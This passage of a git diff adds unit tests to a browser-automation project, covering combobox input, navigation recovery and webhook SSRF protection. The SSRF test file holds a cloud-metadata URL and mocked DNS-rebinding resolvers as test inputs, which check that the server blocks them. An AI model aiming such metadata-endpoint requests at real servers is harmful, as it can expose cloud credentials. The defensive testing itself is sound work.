dirty)+ with initially empty current_text, the terminal fill must still clear first — otherwise it appends the+ full target to the dirty prefix. It falls back to ArrowDown and clears before the final fill."""+ results, el, select_mock = await _run_combobox_input(+ attrs=_FLAG_TYPEAHEAD_ATTRS,+ options=_listbox_with_option(_TARGET),+ select_success=False,+ stop_flag=False,+ prefilter_typeahead=True,+ prefilter_raises=True,+ first_block_incremental=_listbox_with_option(_TARGET),+ )+ # the prefilter was attempted (dispatched then raised) ...+ assert el.input_sequentially.call_count >= 1+ # ... so it fell back to the unfiltered ArrowDown probe ...+ assert "ArrowDown" in _pressed_keys(el)+ # ... and the terminal path cleared the dirty field before the final fill (Block A clear + terminal clear),+ # even though current_text was empty and prefilter_typeahead was reset to False on the exception.+ assert el.input_clear.await_count >= 2+ assert len(results) == 1 and isinstance(results[0], ActionSuccess)+++async def test_flag_off_keeps_arrowdown_probe() -> None:+ """Control: with the flag off the input must NOT be pre-filtered — it keeps the ArrowDown probe and+ never types the target as a filter before the block select."""+ results, el, select_mock = await _run_combobox_input(+ attrs=_FLAG_TYPEAHEAD_ATTRS,+ options=_listbox_with_option(_TARGET),+ select_success=True,+ stop_flag=False,+ prefilter_typeahead=False,+ first_block_incremental=_listbox_with_option(_TARGET),+ )+ assert "ArrowDown" in _pressed_keys(el)+ entered = [call.args[0] for call in el.input_sequentially.await_args_list if call.args]+ assert _TARGET not in entered+ select_mock.assert_awaited_once()+ assert len(results) == 1 and isinstance(results[0], ActionSuccess)+++async def test_date_related_overrides_flag_and_keeps_arrowdown() -> None:+ """The is_date_related safety gate overrides the flag: even with prefilter_typeahead set, a date input+ performs no prefilter and retains the ArrowDown path (date pickers must keep the existing flow)."""+ results, el, select_mock = await _run_combobox_input(+ attrs=_FLAG_TYPEAHEAD_ATTRS,+ options=_listbox_with_option(_TARGET),+ select_success=True,+ stop_flag=False,+ is_date_related=True,+ prefilter_typeahead=True,+ first_block_incremental=_listbox_with_option(_TARGET),+ )+ assert "ArrowDown" in _pressed_keys(el)+ entered = [call.args[0] for call in el.input_sequentially.await_args_list if call.args]+ assert _TARGET not in entered+ assert len(results) == 1 and isinstance(results[0], ActionSuccess)+++# --------------------------------------------------------------------------- #+# Regression: handle_input_text_action runs at runtime with base `Action` objects (hydrated/replayed),+# not only `InputTextAction`. The runtime hint must live on the base model so reading it never raises.+# --------------------------------------------------------------------------- #+def test_prefilter_typeahead_is_a_base_action_field_defaulting_false() -> None:+ # Reproduces the production runtime shape: base Action for INPUT_TEXT (what hydrate_action /+ # Action.model_validate produce). The hint must exist there, default False, and stay settable on the+ # subclass. Unmodified code raises AttributeError on `base.prefilter_typeahead`.+ base = Action(action_type=ActionType.INPUT_TEXT, element_id="X", text="hello")+ assert type(base) is Action+ assert base.prefilter_typeahead is False+ assert InputTextAction(element_id="X", text="hello").prefilter_typeahead is False+ assert InputTextAction(element_id="X", text="hello", prefilter_typeahead=True).prefilter_typeahead is True+++async def test_base_action_input_text_does_not_raise_and_keeps_default_probe() -> None:+ """A base `Action` (INPUT_TEXT) flowing through the handler must not raise AttributeError on the hint;+ with no hint it falls back to the default ArrowDown probe. Unmodified code raises at the hint read."""+ results, el, select_mock = await _run_combobox_input(+ attrs={"role": None, "aria-autocomplete": None, "aria-invalid": "false"},+ options=_listbox_with_option(_TARGET),+ select_success=True,+ stop_flag=False,+ use_base_action=True,+ first_block_incremental=_listbox_with_option(_TARGET),+ )+ assert "ArrowDown" in _pressed_keys(el)+ entered = [call.args[0] for call in el.input_sequentially.await_args_list if call.args]+ assert _TARGET not in entered+ assert len(results) == 1 and isinstance(results[0], ActionSuccess)diff --git a/tests/unit/test_navigation_recovery.py b/tests/unit/test_navigation_recovery.pyindex ec5062fff..517e1f5ad 100644--- a/tests/unit/test_navigation_recovery.py+++ b/tests/unit/test_navigation_recovery.py@@ -8,6 +8,7 @@ from playwright._impl._errors import Error as PlaywrightErrorfrom skyvern.exceptions import SkyvernPageAnalysisTimeoutfrom skyvern.webeye.utils.page import (+ JS_FUNCTION_DEFS,SkyvernFrame,_is_navigation_context_lost,_wait_for_navigation_settle,@@ -184,6 +185,18 @@ class TestEvaluateWithNavigationRecovery:await SkyvernFrame.evaluate(frame=frame, expression="() => 1", timeout_ms=30000)frame.wait_for_load_state.assert_awaited_once_with("networkidle", timeout=ANY)+ @pytest.mark.asyncio+ async def test_bootstrap_injection_is_not_evaluated_twice_per_attempt(self) -> None:+ """SKY-13012: recovering the domUtils.js bootstrap must not re-inject it before retrying it."""+ frame = AsyncMock()+ frame.evaluate = AsyncMock(side_effect=[_context_destroyed_error(), "injected"])+ frame.wait_for_load_state = AsyncMock()++ result = await SkyvernFrame.evaluate(frame=frame, expression=JS_FUNCTION_DEFS, timeout_ms=30000)++ assert result == "injected"+ assert frame.evaluate.await_count == 2+class TestGetElementVisible:@pytest.mark.asynciodiff --git a/tests/unit/test_scrape_frame_decision.py b/tests/unit/test_scrape_frame_decision.pyindex 642a72d91..c9175974c 100644--- a/tests/unit/test_scrape_frame_decision.py+++ b/tests/unit/test_scrape_frame_decision.py@@ -196,7 +196,7 @@ class TestPlaceholderPlumbing:return ScrapeFrameDecision(exclude=False)return ScrapeFrameDecision(exclude=True, placeholder=dict(_PLACEHOLDER))- elements, element_tree = await get_interactable_element_tree(page, scrape_exclude=_exclude)+ elements, element_tree, _destinations = await get_interactable_element_tree(page, scrape_exclude=_exclude)tree_texts = [str(node.get("text", "")) for node in _flatten(element_tree)]assert "placeholder signal" in tree_texts@@ -215,6 +215,6 @@ class TestPlaceholderPlumbing:page = await page_factory("<html><body><input id='name' type='text' /></body></html>")exclude = AsyncMock(return_value=ScrapeFrameDecision(exclude=False))- _, element_tree = await get_interactable_element_tree(page, scrape_exclude=exclude)+ _, element_tree, _ = await get_interactable_element_tree(page, scrape_exclude=exclude)assert all("placeholder signal" not in str(node.get("text", "")) for node in _flatten(element_tree))diff --git a/tests/unit/test_static_script_infrastructure.py b/tests/unit/test_static_script_infrastructure.pyindex 8aed46d94..77504aee8 100644--- a/tests/unit/test_static_script_infrastructure.py+++ b/tests/unit/test_static_script_infrastructure.py@@ -227,3 +227,60 @@ class TestValidationFailureLimit:# Should stop at page 2 (3rd consecutive failure)assert len(pages) == 3assert pages[-1] == "p2:STOPPED"+++# ---------------------------------------------------------------------------+# Stale static-pin block migration: cache_key extraction from run_signature+# ---------------------------------------------------------------------------+++class TestRunSignatureCacheKey:+ """A static (marker) pin re-imports the live platform module, so a persisted+ block whose cache_key the module no longer defines must be detectable and+ dropped — otherwise it runs the agent with the placeholder goal+ ``Static script: <cache_key>`` instead of the block's real prompt."""++ def test_extracts_cache_key_from_run_task_signature(self) -> None:+ from skyvern.forge.sdk.workflow.service import _run_signature_cache_key++ signature = (+ "await skyvern.run_task(\n"+ " label = 'Ensure Account',\n"+ " cache_key = 'create_account',\n"+ " prompt = 'Static script: create_account',\n"+ ")"+ )+ assert _run_signature_cache_key(signature) == "create_account"++ def test_extracts_double_quoted_cache_key(self) -> None:+ from skyvern.forge.sdk.workflow.service import _run_signature_cache_key++ assert _run_signature_cache_key('await skyvern.run_task(cache_key="fill_application")') == "fill_application"++ def test_returns_none_without_cache_key_kwarg(self) -> None:+ from skyvern.forge.sdk.workflow.service import _run_signature_cache_key++ assert _run_signature_cache_key("await skyvern.fill_application(page, context)") is None++ def test_returns_none_for_empty_signature(self) -> None:+ from skyvern.forge.sdk.workflow.service import _run_signature_cache_key++ assert _run_signature_cache_key(None) is None+ assert _run_signature_cache_key("") is None++ def test_stale_block_detection_mirrors_hasattr_resolution(self) -> None:+ from skyvern.forge.sdk.workflow.service import _run_signature_cache_key++ module = types.ModuleType("fake_platform")+ module.fill_application = lambda *a, **k: None # type: ignore[attr-defined]++ blocks = {+ "Fill": "await skyvern.run_task(cache_key = 'fill_application', prompt = 'Static script: fill_application')",+ "Ensure Account": "await skyvern.run_task(cache_key = 'create_account', prompt = 'Static script: create_account')",+ }+ stale = [+ label+ for label, sig in blocks.items()+ if (ck := _run_signature_cache_key(sig)) is not None and not hasattr(module, ck)+ ]+ assert stale == ["Ensure Account"]diff --git a/tests/unit/test_webhook_ssrf.py b/tests/unit/test_webhook_ssrf.pynew file mode 100644index 000000000..6ce9e24c6--- /dev/null+++ b/tests/unit/test_webhook_ssrf.py@@ -0,0 +1,141 @@+"""The webhook test/replay endpoints fetch a caller-supplied URL server-side, so they must+validate with DNS resolution. `validate_url` skips DNS, which lets a public hostname that+resolves to a private/link-local address (wildcard resolvers such as `<ip>.nip.io`) through.+Validation alone is not enough either: the connection has to be pinned to the address that+was validated, or a rebinding host answers again with a private address at connect time.+"""++from __future__ import annotations++import socket+from unittest.mock import MagicMock, patch++import httpx+import pytest++from skyvern.exceptions import BlockedHost, SkyvernHTTPException+from skyvern.forge.sdk.routes import webhooks as webhook_routes+from skyvern.schemas.webhooks import TestWebhookRequest as WebhookTestPayload+from skyvern.services import webhook_service+from skyvern.utils.url_validators import pinned_ip_client, resolve_fetch_host_ips++PRIVATE_HOST_URL = "http://169.254.169.254.example.test/computeMetadata/v1/"+REBINDING_HOST_URL = "https://rebinding.example.test/webhook"+PUBLIC_IP = "93.184.216.34"+METADATA_IP = "169.254.169.254"+++def resolves_to_metadata_ip(monkeypatch: pytest.MonkeyPatch) -> None:+ def _resolve(host: str, *args: object, **kwargs: object) -> list:+ return [(socket.AF_INET, socket.SOCK_STREAM, 6, "", ("169.254.169.254", 80))]++ monkeypatch.setattr("skyvern.utils.url_validators.socket.getaddrinfo", _resolve)+++async def test_test_webhook_blocks_hostname_resolving_to_private_ip(+ resolves_to_metadata_ip: None, monkeypatch: pytest.MonkeyPatch+) -> None:+ def _no_requests(*args: object, **kwargs: object) -> None:+ raise AssertionError("test_webhook issued an HTTP request to a blocked host")++ monkeypatch.setattr(webhook_routes.httpx, "AsyncClient", _no_requests)++ response = await webhook_routes.test_webhook(+ request=WebhookTestPayload(webhook_url=PRIVATE_HOST_URL, run_type="task"),+ current_org=MagicMock(organization_id="o_1"),+ )++ assert response.status_code is None+ assert "SSRF protection" in (response.error or "")+++async def test_replay_target_url_blocks_hostname_resolving_to_private_ip(resolves_to_metadata_ip: None) -> None:+ with pytest.raises(SkyvernHTTPException) as exc_info:+ await webhook_service._validate_target_url(PRIVATE_HOST_URL)++ assert not isinstance(exc_info.value, BlockedHost)+ assert "SSRF protection" in str(exc_info.value)+++def capture_connect_target(monkeypatch: pytest.MonkeyPatch) -> dict[str, object]:+ """Intercept the request where httpx would open the socket, recording the connect target."""+ captured: dict[str, object] = {}++ async def _capture(self: httpx.AsyncHTTPTransport, request: httpx.Request) -> httpx.Response:+ captured["connect_host"] = request.url.host+ captured["sni_hostname"] = request.extensions.get("sni_hostname")+ captured["host_header"] = request.headers.get("host")+ return httpx.Response(200, text="ok")++ monkeypatch.setattr(httpx.AsyncHTTPTransport, "handle_async_request", _capture)+ return captured+++def rebinding_dns(monkeypatch: pytest.MonkeyPatch) -> None:+ """Answer with a public address once, then with the metadata address forever after."""+ answers = iter([PUBLIC_IP])++ def _resolve(host: str, *args: object, **kwargs: object) -> list:+ ip = next(answers, METADATA_IP)+ return [(socket.AF_INET, socket.SOCK_STREAM, 6, "", (ip, 443))]++ monkeypatch.setattr("skyvern.utils.url_validators.socket.getaddrinfo", _resolve)+++async def test_pinned_client_keeps_sni_and_host_on_the_original_hostname(+ capture_connect_target: dict[str, object],+) -> None:+ async with pinned_ip_client((PUBLIC_IP,)) as client:+ await client.post(REBINDING_HOST_URL, content=b"{}")++ assert capture_connect_target["connect_host"] == PUBLIC_IP+ assert capture_connect_target["sni_hostname"] == "rebinding.example.test"+ assert capture_connect_target["host_header"] == "rebinding.example.test"+++async def test_test_webhook_connects_to_validated_ip_after_dns_rebind(+ rebinding_dns: None,+ capture_connect_target: dict[str, object],+) -> None:+ with patch("skyvern.forge.sdk.routes.webhooks.app.DATABASE.organizations.get_valid_org_auth_token") as get_token:+ get_token.return_value = None+ response = await webhook_routes.test_webhook(+ request=WebhookTestPayload(webhook_url=REBINDING_HOST_URL, run_type="task"),+ current_org=MagicMock(organization_id="o_1"),+ )++ assert response.status_code == 200+ assert capture_connect_target["connect_host"] == PUBLIC_IP++ # The host has since rebound to the metadata address, so an unpinned connect would land there.+ with pytest.raises(BlockedHost):+ resolve_fetch_host_ips("rebinding.example.test")+++async def test_replay_delivery_pins_the_validated_ips(rebinding_dns: None) -> None:+ validated_url, resolved_ips = await webhook_service._validate_target_url(REBINDING_HOST_URL)+ assert resolved_ips == (PUBLIC_IP,)++ delivered: dict[str, object] = {}++ async def _deliver(**kwargs: object) -> httpx.Response:+ delivered.update(kwargs)+ return httpx.Response(200, text="ok")++ with patch("skyvern.services.webhook_service.app.AGENT_FUNCTION.deliver_webhook", _deliver):+ await webhook_service._deliver_webhook(+ url=validated_url,+ payload="{}",+ headers={},+ resolved_ips=resolved_ips,+ )++ assert delivered["resolved_ips"] == (PUBLIC_IP,)diff --git a/tests/unit/test_workflow_copilot_completion_criteria_schema.py b/tests/unit/test_workflow_copilot_completion_criteria_schema.pyindex 985ac7d91..f08298dc1 100644--- a/tests/unit/test_workflow_copilot_completion_criteria_schema.py+++ b/tests/unit/test_workflow_copilot_completion_criteria_schema.py@@ -413,3 +413,33 @@ async def test_snapshot_absorbs_adopted_row_criteria_decode_failure(monkeypatch:snapshot = await _load_completion_criteria_snapshot(chat)assert snapshot == StoredCriteriaSnapshot(active=None, next_epoch=3)+++async def test_loader_admits_value_present_requested_output_criterion() -> None:+ request_slot_id = "a" * 64+ criteria = [+ {+ "id": request_slot_id,+ "outcome": "The run returns the number of stars.",+ "antecedent_family": "unconditional",+ "expected_output_shape": "value_present",+ "requested_output_evidence_source": "runtime_output",+ "kind": "outcome",+ "output_path": "output.star_count",+ "request_slot_id": request_slot_id,+ "pinability": "shapeless_valid",+ "mint_disposition": "decidable",+ }+ ]++ loaded = await _load_latest(_make_row(criteria=criteria))++ assert not isinstance(loaded, NonAdoptableCriteriaSet)+ (criterion,) = criteria_from_json(loaded.criteria)+ assert criterion.output_path == "output.star_count"+ assert criterion.expected_output_shape == "value_present"+ assert criterion.pinability == "shapeless_valid"+ assert criterion.mint_disposition == "decidable"+ assert criterion.classification_output_key is None+ assert criterion.requested_output_floor_rekeyed is False